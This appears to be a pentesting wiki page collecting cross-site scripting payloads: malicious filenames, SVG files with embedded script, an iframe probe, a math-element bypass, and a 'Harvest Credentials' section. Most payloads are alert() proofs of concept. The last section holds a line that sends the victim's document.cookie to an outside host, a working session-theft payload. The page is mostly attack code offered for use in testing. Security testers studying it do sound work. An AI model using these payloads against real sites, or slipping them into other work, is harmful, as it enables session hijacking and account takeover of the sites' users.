> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/web-applications/injection-vulnerabilities/cross-site-scripting/xss-payloads.md).

# XSS Payloads

### Filename 

```javascript
<img src=x onerror=alert('XSS')>.png
"><img src=x onerror=alert('XSS')>.png
"><svg onmouseover=alert(1)>.svg
<<script>alert('xss')<!--a-->a.png
<a href="javascript:alert(1)">XSS</a
```

### SVG

Copy and paste the following payload into a `.SVG` file and attempt to upload it to the application.

```svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS via SVG");
  </script>
</svg>
```

Copy and paste the following payload into a text editor and see if the image is loaded, if so attempt to follow up with a payload:

```svg
<iframe
  src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/movingcart_1.svg"
  frameborder="0"
></iframe>
```

```markup
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>
```

### Bypasses

Math element which can make HTML element clickable:

```markup
<math>
    <xss href="javascript:alert(1337)">
       Click Me
    </xss>
</math>
```

### Harvest Credentials

```javascript
<img/src/onerror=document.location="https://parzival.sh">
<img/src/onerror=document.location="http://parzival.sh/cookie.php?c="+document.cookie>
```

### Resources&#x20;

{% embed url="<https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>" %}

{% embed url="<https://github.com/cure53/H5SC>" %}